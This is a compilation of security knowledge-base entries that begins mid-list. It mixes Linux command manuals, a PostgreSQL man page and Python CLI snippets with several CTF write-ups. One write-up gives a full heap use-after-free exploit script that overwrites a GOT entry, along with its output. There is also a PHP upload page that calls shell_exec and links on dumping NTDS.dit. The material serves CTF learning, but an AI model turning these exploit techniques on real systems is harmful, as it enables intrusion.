SYSTEM)](https://www.trustwave.com/Resources/SpiderLabs-Blog/Tutorial-for-NTDS-goodness-(VSSADMIN,-WMIS,-NTDS-dit,-SYSTEM)/) 3. [How Attackers Pull the Active Directory Database (NTDS.dit) from a Domain Controller](https://adsecurity.org/?p=451) 4. https://clymb3r.wordpress.com/2013/06/13/using-powershell-to-copy-ntds-dit-registry-hives-bypass-sacls-dacls-file-locks/ 5. https://github.com/clymb3r/PowerShell/blob/master/Invoke-NinjaCopy/Invoke-NinjaCopy.ps1
sec-knowleage
grpconv === 用来开启群组的投影密码 ## 补充说明 **grpconv命令** 用来开启群组的投影密码。Linux系统里的用户和群组密码,分别存放在`/etc`目录下的passwd和group文件中。因系统运作所需,任何人都得以读取它们,造成安全上的破绽。投影密码将文件内的密码改存在`/etc`目录下的shadow和gshadow文件内,只允许系统管理者读取,同时把原密码置换为"x"字符。投影密码的功能可随时开启或关闭,您只需执行grpconv指令就能开启群组投影密码。 ### 语法 ```shell grpconv ``` ### 实例 设置cdy组密码 ```shell groupmod --password 123456 cdy cat /etc/group | grep cdy cdy:123456:1000: # 看出密码是123456 ``` 启动影子系统 ```shell grpconv cat /etc/group | grep cdy cdy:x:1000: # 看出密码段已经被x替代 cat /etc/gshadow | grep cdy cdy:123456:: # 已经移到影子文件了 ``` 注:gshadow, shadow只有root权限才可以查看。
sec-knowleage
--- title: Monday.com date: 2022-11-23 16:23:31.694181 background: bg-[#f7ce46] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 24 keyboard shortcuts found on Monday.com --- Keyboard Shortcuts ------------------ ### System Shortcut | Action ---|--- `Ctrl` `B` | Bolt Switch (quick switch between boards) `Esc` | Close Item Page `Esc` | Close Dialogs `Esc` | Close Search {.shortcuts} ### Board I Shortcut | Action ---|--- `Down` | Navigate Down `Up` | Navigate Up `Left` | Navigate Left `Right` | Navigate Right `Tab` | Navigate to Next Cell `Shift` `Tab` | Navigate to Previous Tab `Enter` | Edit Cell Content `Backspace` | Clear Cell Content `Space` | Open Column View {.shortcuts} ### Board II Shortcut | Action ---|--- `Ctrl` `F` | Search Board `Ctrl` `C` | Copy Cell Content `Ctrl` `V` | Paste Cell Content `Ctrl` `X` | Cut Cell Content `Ctrl` `Enter` | Select Item `Shift` `Enter` | Select Range of Items `Ctrl` `Shift` `G` | Create New Group `Ctrl` `Shift` `C` | Create New Column `Ctrl` `L` | Open Activity Log `Ctrl` `(click)` | Sort Another Column `Ctrl` `G` | Collapse/Expand All Groups {.shortcuts} Also see -------- - [Keyboard shortcuts for Monday.com](https://support.monday.com/hc/en-us/articles/115005339905-The-Spreadsheet-capabilities-shortcuts-) _(support.monday.com)_
sec-knowleage
<?php $newname = ''; if (!empty($_FILES)) { $ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION); if (!in_array($ext, ['svg'])) { die('Unsupported filetype uploaded.'); } $newname = uniqid() . '.png'; shell_exec("rsvg-convert {$_FILES['file_upload']['tmp_name']} > ./{$newname}"); } ?> <form method="post" enctype="multipart/form-data"> File: <input type="file" name="file_upload"> <input type="submit"> </form> <br> <?php if ($newname): ?> <h1>Your image:</h1> <p> <a href="./<?=$newname?>" target="_blank"> <img src="./<?=$newname?>"> </a> </p> <?php endif;
sec-knowleage
# Looser (Crypto) We get [encrypted flag](flag.png.crypt) to work with. Judging by extension we can deduce that the orignal file was a PNG. We don't have much to work with, so we assume the simplest approach - some kind of stream cipher / XOR encryption. We know header of PNG file, so we can XOR the existing header with what we expect, and therefore extract the potential XOR key. We assume that this is going to be some kind of repeating-xor encryption, so once we get the key, we can multiply it and decrypt the whole file: ```python from crypto_commons.generic import xor, xor_string def main(): with open('flag.png.crypt', 'rb') as f: data = f.read() png_header = [137, 80, 78, 71, 13, 10, 26, 10, 0, 0, 0, 0xd, 0x49, 0x48, 0x44, 0x52, 0x0, 0x0] result = xor(png_header, map(ord, data[:len(png_header)])) key = "".join([chr(c) for c in result]) + ("\0" * (18 - len(png_header))) print(key.encode("hex")) with open('result.png', 'wb') as f: f.write(xor_string(data, key * (len(data) / len(key)))) main() ``` As it turns out, it was even simpler - the whole file was encrypted with a single byte XOR key `e`. We recover the original picture: ![](result.png)
sec-knowleage
# CLI --- ## 获取当前时间 ```py import datetime def get_now(): return datetime.datetime.now().strftime('%Y-%m-%d %X') ``` ## 把 n 秒转为合适的时间单位 ```py def timer_unit(s): '''将 second 秒转为适合的单位 ''' if s <= 1: return f'{round(s, 1)}s' num, unit = [ (i, u) for i, u in ((s / 60**i, u) for i, u in enumerate('smhd')) if i >= 1 ][-1] return f'{round(num, 1)}{unit}' ``` ## 上色 ```py from colorama import Fore, Style def put_color(string, color, bold=False): ''' give me some color to see :P ''' if color == 'gray': COLOR = Style.DIM + Fore.WHITE else: COLOR = getattr(Fore, color.upper(), "WHITE") return f'{Style.BRIGHT if bold else ""}{COLOR}{str(string)}{Style.RESET_ALL}' ``` ## 自定义 log ```py import sys class Logger: def __init__(self, filename, stdout=False, verb=2): self.stdout = stdout self.verbose = verb self.filename = filename def _log(self, log_content): if self.stdout: sys.stderr.write('\r'+log_content) else: with open(self.filename, 'a') as fp: fp.write(log_content) def log(self, event, level='INFO', return_str=False): '''记录日志 @event: 具体事件 @filename: 日志文件 @level: 事件等级 ''' levels = { 'DEBU': 'gray', 'INFO': 'white', 'WARN': 'yellow', 'ERRO': 'red' } color = levels.get(level, 'white') clevel = put_color(level, color, True) log_time = put_color(get_now(), 'cyan', True) log_filename = put_color(self.filename.split('/')[-1], 'gray', True) cevent = put_color(event, color) if color != 'white' else event log_content = f'[{log_time}] [{clevel}] {cevent}' if self.verbose == 3: log_content = f'[{log_time}] [{clevel}] [{log_filename}] {cevent}' if not event.endswith('\n'): # 保证结尾换行 log_content += '\n' if self.verbose == 0: pass elif self.verbose == 1 and level == 'ERRO': self._log(log_content) elif self.verbose == 2 and level != 'DEBU': self._log(log_content) elif self.verbose == 3: self._log(log_content) if return_str: return '\r'+log_content.strip() ``` ## 以 root 权限重启进程 ```py euid = os.geteuid() if euid != 0: args = ['sudo', sys.executable] + sys.argv + [os.environ] # type: ignore if os.system('sudo -n whoami 1>/dev/null 2>/dev/null') != 0: print('需要 root 权限,请输入 root 密码') os.execlpe('sudo', *args) ``` ## 转为后台运行 ```py process = subprocess.Popen( f''' bash <<< '{sys.executable} {" ".join(sys.argv)} >> {Path.runtime_error_logfile} 2>&1 &'$'\\n''echo $!' ''', stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, ) try: pid = process.stdout.read().decode('utf-8').strip() if not pid.isdigit(): raise RuntimeError(process.stderr.read().decode('utf-8')) except KeyboardInterrupt: print(log(f'User canceled', 'WARN', return_str=True)) except subprocess.TimeoutExpired: print(log(f'后台运行失败: 命令行有误', 'ERRO', return_str=True)) except Exception as e: print(log(f'后台运行失败: {e}', 'ERRO', return_str=True)) sys.exit(1) else: print(log(f'后台运行中, pid: {pid}', 'INFO', return_str=True)) sys.exit(0) ``` 用 subprocess.Popen 开个新的进程之后,自己退出,这样新的进程就是孤儿进程了,ppid 变成 1,远程的话断开 ssh 也没事。 --- ## Source & Reference - [Python 编写 CLI 的技巧分享](https://www.tr0y.wang/2020/11/24/Python-CLI-Trick/)
sec-knowleage
#Old times(rev, 100 points, solved by 174) We're given a IBM AS/400 save file. Use [the program](http://www.juliansoft.com/), get the flag: `EKO{0ld_t1m3s_n3v3r_c0m3_b4ck}`
sec-knowleage
# Safe RSA Crypto, 250 points ## Description: > Now that you know about RSA can you help us decrypt this ciphertext? We don't have the decryption key but something about those values looks funky.. ``` N: 374159235470172130988938196520880526947952521620932362050308663243595788308583992120881359365258949723819911758198013202644666489247987314025169670926273213367237020188587742716017314320191350666762541039238241984934473188656610615918474673963331992408750047451253205158436452814354564283003696666945950908549197175404580533132142111356931324330631843602412540295482841975783884766801266552337129105407869020730226041538750535628619717708838029286366761470986056335230171148734027536820544543251801093230809186222940806718221638845816521738601843083746103374974120575519418797642878012234163709518203946599836959811 e: 3 ciphertext (c): 2205316413931134031046440767620541984801091216351222789180582564557328762455422721368029531360076729972211412236072921577317264715424950823091382203435489460522094689149595951010342662368347987862878338851038892082799389023900415351164773 ``` ## Solution: Since [RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) wasn't able to recover the private key, I searched for attacks against small exponents and found [this](https://l34rn-p14y.blogspot.com/2014/03/inctf-2014-crypto-200.html) and [this](https://eindbazen.net/2012/05/plaidctf-2012-rsa/). I was able to reduce their code to the following, given the values above: ```python import gmpy2 n = 374159235470172130988938196520880526947952521620932362050308663243595788308583992120881359365258949723819911758198013202644666489247987314025169670926273213367237020188587742716017314320191350666762541039238241984934473188656610615918474673963331992408750047451253205158436452814354564283003696666945950908549197175404580533132142111356931324330631843602412540295482841975783884766801266552337129105407869020730226041538750535628619717708838029286366761470986056335230171148734027536820544543251801093230809186222940806718221638845816521738601843083746103374974120575519418797642878012234163709518203946599836959811 e = 3 cipher_str = 2205316413931134031046440767620541984801091216351222789180582564557328762455422721368029531360076729972211412236072921577317264715424950823091382203435489460522094689149595951010342662368347987862878338851038892082799389023900415351164773 gs = gmpy2.mpz(cipher_str) gm = gmpy2.mpz(n) ge = gmpy2.mpz(e) root, exact = gmpy2.iroot(gs, ge) print format(root, 'x').decode('hex') ``` Explanation: RSA encryption is performed by calculating C=M^e(mod n). However, if n is much larger than e (as is the case here), and if the message is not too long (i.e. small M), then M^e(mod n) == M^e and therefore M can be found by calculating the e-th root of C. The result: ```console root@kali:/media/sf_CTFs/pico/Safe_RSA# python decode.py picoCTF{e_w4y_t00_sm411_81b6559f} ``` The flag: picoCTF{e_w4y_t00_sm411_81b6559f}
sec-knowleage
version: '2' services: ntopng: image: vulhub/ntopng:4.2 depends_on: - redis ports: - "3000:3000" environment: REDIS_SERVER: redis:6379 redis: image: redis:6.2-alpine
sec-knowleage
# Spies (DNS, 466p, 21 solved) ``` Watch out from those prying eyes! It seems someone is opening everything to the world, find that webcam and you will see for yourself! https://mydns.webcam/ ``` Task suggests there is some webcam registered as subdomain of `mydns.webcam` where we can find the flag. The hard part is that there are already plenty of domains registered and also players can register new domains at will. In this task we first collected all subdomains of `mydns.webcam` and simply checked what is there. We knew that all the user-registered domains without external server show some message about "billing issues" and we knew that `crazy.mydomain.webcam` is for a different task, so we're interested only in the remaining domains: ```python for host in host_list: if host != "crazy.mydns.webcam": try: result = requests.get("http://" + host, timeout=1) if "billing" not in result.text: print(host, result.text) except: pass pass ``` After we pass through those domains we get only a few hits, and only two are webcams. Out of those two only `greenhouse.mydns.webcam` shows us: ![](spies.png) So the flag is `EKO{spies_everywhere} The other webcam `supercam.mydns.webcam` was showing stuff like for example Rickroll.
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "FETCH" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME FETCH \- 用游标从查询中抓取行 .SH SYNOPSIS .sp .nf FETCH [ \fIdirection\fR { FROM | IN } ] \fIcursorname\fR where \fIdirection\fR can be empty or one of: NEXT PRIOR FIRST LAST ABSOLUTE \fIcount\fR RELATIVE \fIcount\fR \fIcount\fR ALL FORWARD FORWARD \fIcount\fR FORWARD ALL BACKWARD BACKWARD \fIcount\fR BACKWARD ALL .sp .fi .SH "DESCRIPTION 描述" .PP \fBFETCH\fR 使用游标检索行。 .PP 一个游标有一个由 FETCH 使用的相关联的位置。 游标得位置可以在查询结果的第一行之前,或者在结果中的任意行, 或者在结果的最后一行之后。在创建完之后,游标是放在第一行之前的。 在抓取了一些行之后,游标放在检索到的最后一行上。如果 FETCH 抓完了所有可用行,那么它就停在最后一行后面,或者在向前抓去的情况下是停在第一行前面。 FETCH ALL 或者 FETCH BACKWARD ALL 将总是把游标的位置放在最后一行或者在第一行前面。 .PP NEXT, PRIOR, FIRST, LAST, ABSOLUTE, RELATIVE 形式在恰当地 移动游标之后抓取一个行。如果没有数据行了,那么返回一个空的结果, 那么游标就会停在查询结果的最后一行之后或者在第一行之前。 .PP FORWARD 和 BACKWARD 形式在向前或者向后移动的过程中抓取指定的行数, 然后把游标定位在最后返回的行上(或者是,如果 count 大于可用的行数,在所有行之前或之后。) .PP RELATIVE 0,FORWARD 0,和 BACKWARD 0 都要求在不移动游标的前提下抓取当前行---也就是重新抓取最近刚刚抓取过的行。 除非游标定位在第一行之前或者最后一行之后,这个动作都应该成功,而在那两种情况下,不返回任何行。 .SH "PARAMETERS 参数" .TP \fB\fIdirection\fB\fR \fIdirection\fR 定义抓取的方向和抓取的行数。它可以是下述之一: .RS .TP \fBNEXT\fR 抓取下一行。 direction 省略时这是缺省值。 .TP \fBPRIOR\fR 抓取前面一行。 .TP \fBFIRST\fR 抓取查询的第一行(和 ABSOLUTE 1 相同)。 .TP \fBLAST\fR 抓取查询的最后一行(和 ABSOLUTE -1 相同)。 .TP \fBABSOLUTE \fIcount\fB\fR 抓取查询中第 count 行, 或者,如果 count < 0, 从查询结果末尾抓取第abs(count)行。 如果count 超出了范围,那么定位在第一行之前和最后一行之后的位置; 特别是 ABSOLUTE 0 定位在第一行之前。 .TP \fBRELATIVE \fIcount\fB\fR 抓取随后的第 count 行, 或者,如果 count < 0 的时候, 抓取前面的第 abs(count) 行。 如果有数据的话,RELATIVE 0 重新抓取当前行。 .TP \fB\fIcount\fB\fR 抓取下面的 count 行 (和 FORWARD count 一样)。 .TP \fBALL\fR 抓取所有剩余的行(和 FORWARD ALL 一样)。 .TP \fBFORWARD\fR 抓取下面一行(和 NEXT)一样。 .TP \fBFORWARD \fIcount\fB\fR 抓取下面 count 行。 FORWARD 0 重新抓取当前行。 .TP \fBFORWARD ALL\fR 抓取所有剩余行。 .TP \fBBACKWARD\fR 抓取前面一行(和 PRIOR 一样)。 .TP \fBBACKWARD \fIcount\fB\fR 抓取前面 count 行(向后扫描)。 BACKWARD 0 重新抓取当前行。 .TP \fBBACKWARD ALL\fR 抓取所有前面的行(向后扫描)。 .RE .PP .TP \fB\fIcount\fB\fR \fIcount\fR 可能是一个有符号的整数常量,决定要抓取的行数和方向。 对于 FORWARD 和 BACKWARD 的情况,声明一个带负号的 count 等效于改变 FORWARD 和 BACKWARD 的方向。 .TP \fB\fIcursorname\fB\fR 一个打开的游标的名称。 .SH "OUTPUTS 输出" .PP 成功完成时,一个 FETCH 命令返回一个形如下面的标记 .sp .nf FETCH \fIcount\fR .sp .fi 这里的 count 是抓取的行数(可能是零)。 请注意在 psql 里,命令标签实际上不会显示, 因为 psql 用抓取的行数取代了。 .SH "NOTES 注意" .PP 如果你想使用 FETCH NEXT 之外的任何 FETCH 的变种, 或者是带负数计数的 FETCH FORWARD。那么定义游标的时候应该带着 SCROLL 选项。 对于简单的查询,PostgreSQL 会允许那些没有带 SCROLL 选项定义的游标也可以反向抓取, 但是我们最好不要依赖这个行为。 如果游标定义了 NO SCROLL,那么不允许反向抓取。 .PP ABSOLUTE 抓取不会比用相对位移移动到需要的数据行更快: 因为下层的实现必须遍历所有中间的行。负数的绝对抓取甚至更糟糕: 查询必须一直读到结尾才能找到最后一行,然后从那里开始反向遍历。 不过,回退到查询开头(就像 FETCH ABSOLUTE 0)很快。 .PP 在游标中更新数据还不被 PostgreSQL 支持。 .PP DECLARE [\fBdeclare\fR(7)] 语句用于定义一个游标。使用 MOVE [\fBmove\fR(7)] 语句来改变游标位置而不检索数据。 .SH "EXAMPLES 例子" .PP 下面的例子用一个游标跨过一个表。 .sp .nf BEGIN WORK; -- 建立一个游标: DECLARE liahona SCROLL CURSOR FOR SELECT * FROM films; -- 抓取头 5 行到游标 liahona 里: FETCH FORWARD 5 FROM liahona; code | title | did | date_prod | kind | len -------+-------------------------+-----+------------+----------+------- BL101 | The Third Man | 101 | 1949-12-23 | Drama | 01:44 BL102 | The African Queen | 101 | 1951-08-11 | Romantic | 01:43 JL201 | Une Femme est une Femme | 102 | 1961-03-12 | Romantic | 01:25 P_301 | Vertigo | 103 | 1958-11-14 | Action | 02:08 P_302 | Becket | 103 | 1964-02-03 | Drama | 02:28 -- 抓取前面行: FETCH PRIOR FROM liahona; code | title | did | date_prod | kind | len -------+---------+-----+------------+--------+------- P_301 | Vertigo | 103 | 1958-11-14 | Action | 02:08 -- 关闭游标并提交事务: CLOSE liahona; COMMIT WORK; .sp .fi .SH "COMPATIBILITY 兼容性" .PP SQL 标准定义的 FETCH 只用于嵌入式环境下。 这里描述的 FETCH 变种是把结果数据像 SELECT 结果那样返回,而不是把它放在宿主变量里。除了这点之外,FETCH 和 SQL 标准完全向上兼容。 .PP 涉及 FORWARD 和 BACKWARD 的 FETCH 形式 (包括 FETCH count 和 FETCH ALL 的形式,这个时候 FORWARD 是隐含的)是 PostgreSQL 的扩展。 .PP SQL 标准只允许游标前面有 FROM, 用 IN 是一种扩展。 .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
pwconv === 用来开启用户的投影密码 ## 补充说明 **pwconv命令** 用来开启用户的投影密码。Linux系统里的用户和群组密码,分别存放在名称为passwd和group的文件中, 这两个文件位于`/etc`目录下。因系统运作所需,任何人都得以读取它们,造成安全上的破绽。投影密码将文件内的密码改存在`/etc`目录下的shadow和gshadow文件内,只允许系统管理者读取,同时把原密码置换为"x"字符,有效的强化了系统的安全性。 ### 语法 ```shell pwconv ``` ### 实例 ```shell cat /etc/passwd | grep test test:x:3001:3001::/home/test:/bin/sh ``` 此时可以发现密码段是x ```shell cat /etc/shadow | grep test test:$6$nYOEWamm$bz07nlv/.RgJufb3FAqJJeULfwybzgxmrWqbk7O4vI0KsT6N.ujrh6dDIUcAJdfjksyuyAFDPIngZeD3cgcf.0:15022:0:99999:7::: ```
sec-knowleage
# AfterLife Binary Exploitation, 400 points ## Description: > Just pwn this program and get a flag. ```c #include <stdlib.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #define FLAG_BUFFER 200 #define LINE_BUFFER_SIZE 20 void win() { char buf[FLAG_BUFFER]; FILE *f = fopen("flag.txt","r"); fgets(buf,FLAG_BUFFER,f); fprintf(stdout,"%s\n",buf); fflush(stdout); } int main(int argc, char *argv[]) { //This is rather an artificial pieace of code taken from Secure Coding in c by Robert C. Seacord char *first, *second, *third, *fourth; char *fifth, *sixth, *seventh; first=malloc(256); printf("Oops! a new developer copy pasted and printed an address as a decimal...\n"); printf("%d\n",first); strncpy(first,argv[1],LINE_BUFFER_SIZE); second=malloc(256); third=malloc(256); fourth=malloc(256); free(first); free(third); fifth=malloc(128); puts("you will write on first after it was freed... an overflow will not be very useful..."); gets(first); seventh=malloc(256); exit(0); } ``` Hints: * If you understood the double free, a use after free should not be hard! http://homes.sice.indiana.edu/yh33/Teaching/I433-2016/lec13-HeapAttacks.pdf ## Solution: As mentioned in the comment, this is an artificial example taken from [Secure Coding in C and C++](https://www.amazon.com/Secure-Coding-2nd-Software-Engineering/dp/0321822137). A complete analysis of the example exists in the book, and this writeup is inspired by it. The vulnerability here is *use after free*: ```c free(first); // <-- 'first' is freed free(third); fifth=malloc(128); puts("you will write on first after it was freed... an overflow will not be very useful..."); gets(first); // <-- 'first' is used ``` The setup is very similar to [SecondLife](SecondLife.md). This time, we are able to directly overwrite a chunk which is already located in one of the bins. We overwrite it with the exact same payload as before: ```python payload = p32(exe.got["exit"] - 12) + p32(address + 8) + asm('push {}; ret;'.format(hex(exe.symbols["win"]))) ``` This will cause the buffer to look like: ``` Buffer Legend +------------------------+---+ +------------------------+---+ | Size of chunk | 0 | | Size of chunk | 0 | Pointer returned by malloc --> +------------------------+---+ +------------------------+---+ | exe.got["exit"] - 12 | | Forward Pointer | +----------------------------+ +----------------------------+ +---| address + 8 | | Back Pointer | +-> +----------------------------+ +----------------------------+ | push 'win'; ret; | | Unused | | | | | +----------------------------+ +----------------------------+ | Size of chunk | | Size of chunk | +----------------------------+ +----------------------------+ ``` We add 8 bytes to `address` (which is the base address of the first buffer) since that's where we located our shellcode, right after `p32(exe.got["exit"] - 12) + p32(address + 8)`. We continue with: ```c seventh=malloc(256); ``` The heap manager goes to the appropriate bin and fetches the 'first' chunk in order to return it to the user. Therefore, the chunk should be removed from the linked list by calling `unlink`: ```c FD = P->fd; // FD points to (exe.got["exit"] - 12), since that's the value we overran the buffer with BK = P->bk; // BK points to (address of first + 8), since that's the value we overran the buffer with FD->bk = BK; // (exe.got["exit"] - 12) + 12 = (address of first + 8); We wrote an arbitrary DWORD to an arbitrary location BK->fd = FD; // (address of first + 8) + 8 = (exe.got["exit"] - 12); Side effect ``` The `unlink` macro allowed us to overwrite the .got.plt address of `exit` with the address of our shellcode. Notice that as a side-effect, a part of the buffer was overwritten. Since our shellcode is very short, it won't be corrupted. If it was longer, we would have had to use a trampoline as demonstrated in [Heap overflow](Heap_overflow.md). Now, when we call `exit`, our shellcode gets called instead and gives us the flag. ```python # First, generate a pwntools template using: # pwn template --host 2019shell1.picoctf.com --user dvdalt --path /problems/afterlife_2_049150f2f8b03c16dc0382de6e2e2215/vuln #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: i386-32-little # RELRO: Partial RELRO # Stack: Canary found # NX: NX disabled # PIE: No PIE (0x8048000) # RWX: Has RWX segments import os if shell is not None: shell.set_working_directory(os.path.dirname(remote_path)) io = start(["arg1"]) io.recvuntil("Oops! a new developer copy pasted and printed an address as a decimal...\n") address = int(io.recvline()) log.info("Address of buffer: {}".format(hex(address))) log.info("Address of exit(): {}".format(hex(exe.got["exit"]))) log.info("Address of win(): {}".format(hex(exe.symbols["win"]))) payload = p32(exe.got["exit"] - 12) + p32(address + 8) + asm('push {}; ret;'.format(hex(exe.symbols["win"]))) log.info("payload:\n{}".format(hexdump(payload))) io.sendlineafter("you will write on first after it was freed... an overflow will not be very useful...", payload) print io.recvall() ``` Output: ```console root@kali:/media/sf_CTFs/pico/AfterLife# python exploit.py [*] '/media/sf_CTFs/pico/AfterLife/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments [+] Connecting to 2019shell1.picoctf.com on port 22: Done [*] dvdalt@2019shell1.picoctf.com: Distro Ubuntu 18.04 OS: linux Arch: amd64 Version: 4.15.0 ASLR: Enabled [+] Opening new channel: 'pwd': Done [+] Receiving all data: Done (13B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/tmp/tmp.OSZrQeZjJT' [+] Opening new channel: 'ln -s /home/dvdalt/* .': Done [+] Receiving all data: Done (0B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/problems/afterlife_2_049150f2f8b03c16dc0382de6e2e2215' [+] Starting remote process '/problems/afterlife_2_049150f2f8b03c16dc0382de6e2e2215/vuln' on 2019shell1.picoctf.com: pid 1137324 [*] Address of buffer: 0x9b58008 [*] Address of exit(): 0x804d02c [*] Address of win(): 0x8048966 [*] payload: 00000000 20 d0 04 08 10 80 b5 09 68 66 89 04 08 c3 │ ···│····│hf··│··│ 0000000e [+] Receiving all data: Done (31B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1137324) picoCTF{what5_Aft3r_187f3d9a} ```
sec-knowleage
locate === 比 find 好用的文件查找工具 ## 补充说明 locate 让使用者可以很快速的搜寻档案系统内是否有指定的档案。其方法是先建立一个包括系统内所有档案名称及路径的数据库,之后当寻找时就只需查询这个数据库,而不必实际深入档案系统之中了。在一般的 distribution 之中,数据库的建立都被放在 crontab 中自动执行。 locate命令可以在搜寻数据库时快速找到档案,数据库由updatedb程序来更新,updatedb是由cron daemon周期性建立的,locate命令在搜寻数据库时比由整个由硬盘资料来搜寻资料来得快,但较差劲的是locate所找到的档案若是最近才建立或 刚更名的,可能会找不到,在内定值中,updatedb每天会跑一次,可以由修改crontab来更新设定值。(etc/crontab) locate指定用在搜寻符合条件的档案,它会去储存档案与目录名称的数据库内,寻找合乎范本样式条件的档案或目录录,可以使用特殊字元(如”*” 或”?”等)来指定范本样式,如指定范本为kcpa*ner, locate 会找出所有起始字串为kcpa且结尾为ner的档案或目录,如名称为kcpartner若目录录名称为kcpa_ner则会列出该目录下包括 子目录在内的所有档案。 locate指令和find找寻档案的功能类似,但locate是透过update程序将硬盘中的所有档案和目录资料先建立一个索引数据库,在 执行loacte时直接找该索引,查询速度会较快,索引数据库一般是由操作系统管理,但也可以直接下达update强迫系统立即修改索引数据库。 ### 语法 ```shell locate [-d path | --database=path] [-e | -E | --[non-]existing] [-i | --ignore-case] [-0 | --null] [-c | --count] [-w | --wholename] [-b | --basename] [-l N | --limit=N] [-S | --statistics] [-r | --regex ] [--regextype R] [--max-database-age D] [-P | -H | --nofollow] [-L | --follow] [--version] [-A | --all] [-p | --print] [--help] pattern... ``` ### 选项 ```shell -b, --basename # 仅匹配路径名的基本名称 -c, --count # 只输出找到的数量 -d, --database DBPATH # 使用DBPATH指定的数据库,而不是默认数据库 /var/lib/mlocate/mlocate.db -e, --existing # 仅打印当前现有文件的条目 -1 # 如果 是 1.则启动安全模式。在安全模式下,使用者不会看到权限无法看到 的档案。这会始速度减慢,因为 locate 必须至实际的档案系统中取得档案的 权限资料。 -0, --null # 在输出上带有NUL的单独条目 -S, --statistics # 不搜索条目,打印有关每个数据库的统计信息 -q # 安静模式,不会显示任何错误讯息。 -P, --nofollow, -H # 检查文件存在时不要遵循尾随的符号链接 -l, --limit, -n LIMIT # 将输出(或计数)限制为LIMIT个条目 -n # 至多显示 n个输出。 -m, --mmap # 被忽略,为了向后兼容 -r, --regexp REGEXP # 使用基本正则表达式 --regex # 使用扩展正则表达式 -q, --quiet # 安静模式,不会显示任何错误讯息 -s, --stdio # 被忽略,为了向后兼容 -o # 指定资料库存的名称。 -h, --help # 显示帮助 -i, --ignore-case # 忽略大小写 -V, --version # 显示版本信息 ``` ### 实例 实例1:查找和 `pwd` 相关的所有文件 ```shell root ~ # locate pwd /bin/pwd /etc/.pwd.lock /sbin/unix_chkpwd /usr/bin/pwdx /usr/include/pwd.h /usr/lib/python2.7/dist-packages/twisted/python/fakepwd.py /usr/lib/python2.7/dist-packages/twisted/python/fakepwd.pyc /usr/lib/python2.7/dist-packages/twisted/python/test/test_fakepwd.py /usr/lib/python2.7/dist-packages/twisted/python/test/test_fakepwd.pyc /usr/lib/syslinux/pwd.c32 /usr/share/help/C/empathy/irc-join-pwd.page /usr/share/help/ca/empathy/irc-join-pwd.page /usr/share/help/cs/empathy/irc-join-pwd.page /usr/share/help/de/empathy/irc-join-pwd.page /usr/share/help/el/empathy/irc-join-pwd.page ``` 实例2: 搜索 etc 目录下所有以 sh 开头的文件 ```shell root ~ # locate /etc/sh /etc/shadow /etc/shadow- /etc/shells ``` 实例3:搜索etc目录下,所有以m开头的文件 ```shell root ~ # locate /etc/m /etc/magic /etc/magic.mime /etc/mailcap /etc/mailcap.order /etc/manpath.config /etc/mate-settings-daemon ``` 忽略大小写搜索当前用户目录下所有以 `r` 开头的文件 : ```shell locate -i ~/r ```
sec-knowleage
lvremove === 删除指定LVM逻辑卷 ## 补充说明 **lvremove命令** 用于删除指定LVM逻辑卷。如果逻辑卷已经使用mount命令加载,则不能使用lvremove命令删除。必须使用umount命令卸载后,逻辑卷方可被删除。 ### 语法 ```shell lvremove(选项)(参数) ``` ### 选项 ```shell -f:强制删除。 ``` ### 参数 逻辑卷:指定要删除的逻辑卷。 ### 实例 使用lvremove命令删除指定的逻辑卷。在命令行中输入下面的命令: ```shell [root@localhost ~]# lvremove /dev/vg1000/lvol0 #删除逻辑卷"lvol0" ``` 输出信息如下: ```shell Do you really want to remove active logical volume "lvol0"? [y/n]: y #确认删除 Logical volume "lvol0" successfully removed ```
sec-knowleage